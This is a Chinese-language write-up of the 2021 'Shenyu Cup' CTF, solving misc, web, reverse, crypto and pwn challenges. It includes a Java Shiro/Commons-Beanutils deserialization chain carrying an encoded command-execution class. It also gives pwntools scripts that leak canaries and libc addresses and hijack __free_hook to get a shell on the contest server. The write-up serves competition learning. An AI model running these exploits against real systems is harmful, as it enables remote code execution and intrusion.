2021年"深育杯"网络安全大赛Writeup
2021-11-15 08:46:00 # CTF

Misc

签到题

下载附件得到一张二维码

1636785858546.png

扫码关注,后台回复签到即可获得flag

1636785941819.png

flag:

1
SangFor{AaKjtQr_OjJpdA3QwBV_ndsKdn3vPgc_}

Login

下载附件example.zip,打开是password.zip

1636786617187.png

但是需要密码,尝试爆破

1636786126543.png

此时发现了异常,打开明明只有一个password.zip文件,这里却检测到了两个加密文件,于是我们将压缩包用010 Editor打开分析一下

1636786353371.png

发现有伪加密,将此处以及后面一处的09改为00,保存之后再打开压缩包发现多了两个文件

1636786510411.png

其中示例-副本.txt能够打开,而示例.txt打开会提示需要输入密码

打开副本发现这就是 题目说的那个发邮件即可获得账号

1636786764037.png

但是发了几次邮件始终没有等到回信,后来发现重点不在这儿,既然这两个示例txt是一样的,那我们就可以采用ZIP明文攻击,来爆破出这个zip的密码。将示例-副本.txt拖出来,打包成zip,我们可以发现这两个zip中的示例-副本.txt的CRC32值是一样的

1636786929164.png

打开ARCHPR,将example.zip载入,然后载入示例 - 副本.zip

1636787398773.png

最终得到压缩包密码为:qwe@123

尝试打开password,但是发现数据错误,所以将刚刚的09改为00又重新复原为09

1636787448498.png

复原后,打开还是报错,最后才发现是我的7z出问题了,换用winrar成功用密码qwe@123打开password.zip

1636787545918.png

1636787632398.png

打开之后,里面有一个.password.swp,swp文件是vi编辑器异常退出后留下的文件,使用指令:vi -r .password.swp即可恢复文件,但是需要密码,这里还有三个txt文件,只有6个字节大小,尝试爆破crc32

脚本地址:https://github.com/theonlypwner/crc32

使用方法:python crc32.py reverse crc32值(crc32值前面注意要加0x)

运行三次之后分别得到三段疑似密码的明文

1636787839757.png

1636787911702.png

1636787961879.png

这三段组合起来就是welc0me_sangforctf,这应该就是密码了,成功解压.password.swp,将它移动到kali里,然后执行命令vi -r .password.swp

1636788254560.png

得到账号密码为:

1
2
Admin
5f4dcc3b5aa765d61d8327deb882cf99

回到题目尝试登录发现禁止查看源码

1636788356562.png

直接BurpSuite抓包,丢到重放器里面,发包即可看到回显,flag在注释里面

1636788405575.png

flag为:

1
Sangfor{ef3d229c-0d10-4d99-a768-ff41a4d624e7}

Web

weblog

有个文件下载,访问?logname=cb-0.0.1-SNAPSHOT.jar下载到源码

看pom

1636802545139.png

可以打cb1的shiro链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutilsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}


public static void main(String[] args) throws Exception {
// TemplatesImpl obj = new TemplatesImpl();
// setFieldValue(obj, "_bytecodes", new byte[][]{
// ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
// });
// setFieldValue(obj, "_name", "HelloTemplatesImpl");
// setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAuQoALwBfCgBgAGEKAGAAYggAYwoAZABlCABmBwBnCgAHAGgHAGkKAGoAawgAbAgAbQgAbggAbwgATQoABwBwCABxCABOBwByCgBqAHMIAFAIAHQKAHUAdgoAEwB3CAB4CgATAHkIAHoIAHsKABMAfAgAfQgAfggAfwgAgAoACQCBCACCBwCDCgCEAIUKAIQAhgoAhwCICgAkAIkIAIoKACQAiwoAJACMCACNCACOBwCPBwCQAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMcm9tZS9TcHJpbmdFdmlsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwCRAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAA1TdGFja01hcFRhYmxlBwCPBwBnBwCSBwBpBwByBwBTBwCTAQAKU291cmNlRmlsZQEAD1NwcmluZ0V2aWwuamF2YQwAQgBDBwCUDACVAJYMAJcAmAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcgcAmQwAmgCbAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAA9qYXZhL2xhbmcvQ2xhc3MMAJwAnQEAEGphdmEvbGFuZy9PYmplY3QHAJIMAJ4AnwEAQG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBAAtnZXRSZXNwb25zZQEACmdldFJlcXVlc3QBAB1qYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdAEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogEAB29zLm5hbWUHAKMMAKQApQwApgCnAQAGd2luZG93DACoAKkBAANHQksBAAVVVEYtOAwAqgCnAQADV0lOAQACL2MBAAcvYmluL3NoAQACLWMMAKsArAEAB3ByaW50bG4BABFqYXZhL3V0aWwvU2Nhbm5lcgcArQwArgCvDACwALEHALIMALMAtAwAQgC1AQACXEEMALYAtwwAuACnAQAFZmx1c2gBAAVjbG9zZQEAD3JvbWUvU3ByaW5nRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC3RvVXBwZXJDYXNlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0ACEALgAvAAAAAAADAAEAMAAxAAIAMgAAAD8AAAADAAAAAbEAAAACADMAAAAGAAEAAAAWADQAAAAgAAMAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAOQA6AAIAOwAAAAQAAQA8AAEAMAA9AAIAMgAAAEkAAAAEAAAAAbEAAAACADMAAAAGAAEAAAAbADQAAAAqAAQAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAPgA/AAIAAAABAEAAQQADADsAAAAEAAEAPAABAEIAQwACADIAAALDAAkADQAAAXsqtwABuAACtgADEgS2AAVMKxIGA70AB7YACE0sAQO9AAm2AApOuAACtgADEgu2AAVMKxIMA70AB7YACE0rEg0DvQAHtgAIOgQsLQO9AAm2AAo6BRkELQO9AAm2AAo6BrgAArYAAxIOtgAFEg8DvQAHtgAQOge4AAK2AAMSEbYABRISBL0AB1kDEhNTtgAQOggZCAS2ABQZBwS2ABQZBxkFA70ACbYACjoJGQgZBgS9AAlZAxIVU7YACsAAEzoKBr0AEzoLEha4ABe2ABgSGbYAGpkACBIbpwAFEhw6DBIWuAAXtgAdEh62ABqZABIZCwMSFVMZCwQSH1OnAA8ZCwMSIFMZCwQSIVMZCwUZClMZCbYAIhIjBL0AB1kDEhNTtgAQGQkEvQAJWQO7ACRZuAAlGQu2ACa2ACcZDLcAKBIptgAqtgArU7YAClcZCbYAIhIsA70AB7YAEBkJA70ACbYAClcZCbYAIhItA70AB7YAEBkJA70ACbYAClexAAAAAwAzAAAAbgAbAAAAHAAEAB0AEAAeABsAHwAlACAAMQAhADwAIgBIACMAUwAkAF8AJQB1ACYAkAAnAJYAKACcACkAqQAqAL4AKwDEACwA3QAtAO0ALgDzAC8A/AAxAQIAMgEIADQBDgA1AUoANgFiADcBegA4ADQAAACEAA0AAAF7ADUANgAAABABawBEAEUAAQAbAWAARgBHAAIAJQFWAEgASQADAEgBMwBKAEcABABTASgASwBJAAUAXwEcAEwASQAGAHUBBgBNAEcABwCQAOsATgBHAAgAqQDSAE8ASQAJAL4AvQBQAFEACgDEALcAUgBTAAsA3QCeAFQAUQAMAFUAAAA4AAT/ANkADAcAVgcAVwcAWAcAWQcAWAcAWQcAWQcAWAcAWAcAWQcAWgcAWwAAQQcAWvwAIAcAWgsAOwAAAAQAAQBcAAEAXQAAAAIAXg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] expcode = Base64.getEncoder().encode(barr.toByteArray());
System.out.println(new String(expcode));
}
}

1636803668905.png

Re

XOR_Exercise

F5丢进去一看,典型的ollvm混淆(很多while)

1636936910069.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
百度找到脚本deflat去除混淆,关键算法段如下
while ( 1 )
{
v12 = v6;
flag = v6 < 64;
while ( b >= 10 && ((((_BYTE)a - 1) * (_BYTE)a) & 1) != 0 );
if ( !flag )
break;
do
v14 = v6;
while ( b>= 10 && ((((_BYTE)a - 1) * (_BYTE)a) & 1) != 0 );
v15 = v9[v14];
if ( v15 == 10 )
{
do
v16 = v6;
while ( b>= 10 && ((((_BYTE)a - 1) * (_BYTE)a) & 1) != 0 );
v17 = &v9[v16];
if ( b>= 10 && ((((_BYTE)a- 1) * (_BYTE)a) & 1) != 0 )
goto Error;
while ( 1 )
{
*v17 = 0;
if ( b < 10 || ((((_BYTE)a- 1) * (_BYTE)a) & 1) == 0 )
break;
LABEL_42:
*v17 = 0;
}
goto LABEL_13;
}
v18 = v6;
v19 = ++v6;




脚本
\#include "stdafx.h"
int main(int argc, char* argv[])
{
unsigned __int64 k=0xB1234B7679FC4B3D;
unsigned __int64 map[] = {0x32E9A65483CC9671,0x0EC92A986A4AF329C,0x96C8259BC2AC4673,0x74BF5DCA4423530F,0x59D78EF8FDCBFAB1,0xA65257E5B13942B1};
for(int i=0;i<6;i++){
for(int j=0;j<64;j++){
if(map[i]&1){
map[i]^=k;
map[i]>>=1;
map[i]|=0x8000000000000000;
}else{
map[i]>>=1;
}
}
}
for(int j=0;j<6;j++){
printf("%8s",&map[j]);
}
getchar();
return 0;
}

Lithops

这题有点像吾爱破解的某个cm,实质上就是考察字符集的转换,前面花里胡哨,不知道干啥,但是真正加密的地方就调用了一个api,就是ANSI->UTF8

clip_image002.jpg

Dump出UTF8字符,直接脚本解密

clip_image004.jpg

易语言在某些方面还是方便的

clip_image006.jpg

Cry

GeGe

原题,https://blog.soreatu.com/posts/an-introduction-to-ntruencrypt-through-a-ctf-challenge/这里贴个链接

改了一点,用脚本跑

image-20211113210707578.png

Pwn

find-flag

漏洞点在printf 处,printf(format)存在格式化字符串漏洞

在pwndbg中测试offset 偏移6+11为canary偏移 4+11为gadget偏移

先格式化字符串泄露出canary和pie 然后直接gets溢出打后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = "debug"
io = remote("192.168.41.86","2001")
flag_offset = 0x1228

io.recvuntil("?")
io.sendline(b'%17$p%15$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
io.recvuntil("0x")
pie = int(io.recv(12),16) - 0x1140

flag = pie + flag_offset
payload2 = b'a'*0x38+p64(canary) + b'a'*8 + p64(flag)
io.sendline(payload2)

io.interactive()

write_book

2.27libc - 1.14

add delete edit show都存在

漏洞点在edit中 存在offset by NULL漏洞

直接 House Of Einherjar 打堆快重叠

然后利用重叠的堆快show出main_arena + 96的地址得到libc

最后利用堆块重叠打tcache attack

一开始是打mallochook 为onegadet 加了realloc调栈仍然没有通

最后直接打freehook为system 传入bin sh 参数 get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

libc = ELF("./libc.so.6",checksec = 0)
p = remote('192.168.41.86','2002')
#p = process("./writebook")
def Add(size):
p.sendlineafter("> ",str(1))
p.sendlineafter("> ",str(1))
p.sendlineafter("size: ",str(size))
def Edit(page,content):
p.sendlineafter("> ",str(2))
p.sendlineafter("Page: ",str(page))
p.sendlineafter("Content: ",content)
def Delete(page):
p.sendlineafter("> ",str(4))
p.sendlineafter("Page: ",str(page))
def Show(page):
p.sendlineafter("> ",str(3))
p.sendlineafter("Page: ",str(page))

for i in range(0,7):
Add(0xf0)
Add(0xf0)
Add(0xf0)
Add(0xf0)
Add(0xf0)
Add(0x18)
Add(0xf0)
Add(0x18)
Edit(11,p64(0)*2 + p64(0x400 + 0x20))
for i in range(0,7):
Delete(i)
Delete(7)
Delete(12)
for i in range(0,7):
Add(0xf0)
Add(0xf0)
Show(8)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena - 96 - 0x10
libc_base = malloc_hook - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
realloc = libc_base + libc.sym["__libc_realloc"]
#setcontext = libc_base + libc.sym["setcontext"]
one_gadget = [0x4f3d5,0x4f432,0x10a41c]

Add(0xf0)
Add(0xf0)
Delete(14)
Delete(12)
#Edit(8,p64(malloc_hook-0x10))
Edit(8,p64(free_hook-0x10))
Add(0xf0)
Add(0xf0)
#attack malloc
"""
payload = p64(0)*2 + p64(realloc+0x10) + p64(one_gadget[1]+libc_base)
Edit(14,payload)
#gdb.attach(p)
Add(0x18)
p.interactive()
"""

#attack free_hook
payload = p64(0)*2 + p64(system)
Edit(14,payload)
#gdb.attach(p)
Edit(12,"/bin/sh\x00")
Delete(12)
p.sendline("cat flag.txt")
flag = p.recvuntil("}")
print(flag)
p.interactive()

create_code

堆溢出,off-by-null打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
#p = process("./create_code")
p = remote("192.168.41.86",2007)
context.log_level = 'debug'
libc = ELF("./libc.so.6")
elf = ELF('./create_code')

def choice(c):
p.recvuntil(">")
p.sendline(str(c))

def add(content):
choice(1)
p.recvuntil(":")
p.send(content)

def show(id):
choice(2)
p.recvuntil(":")
p.sendline(str(id))

def free(id):
choice(3)
p.recvuntil(":")
p.sendline(str(id))

add("a") #0
add("b") #1
add("c") #2
add("d") #3
free(0)
add("a"*0x320+p64(0)+p64(0x661))
free(0)
add('a'*0x320+ p64(0) + p64(0x331)+p64(0x414141414141))
show(0)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - libc.sym["__malloc_hook"] - 96 - 0x10
success("libc_base:"+hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]

free(1)
free(0)
free(0)
free(0)
add("a"*0x320+p64(0)+p64(0x331)+p64(free_hook-0x8))
add("a"*0x320+p64(0)+p64(0x331)+"/bin/sh\x00")
add("aaaa")
add(p64(system)*2)
free(0)

p.interactive()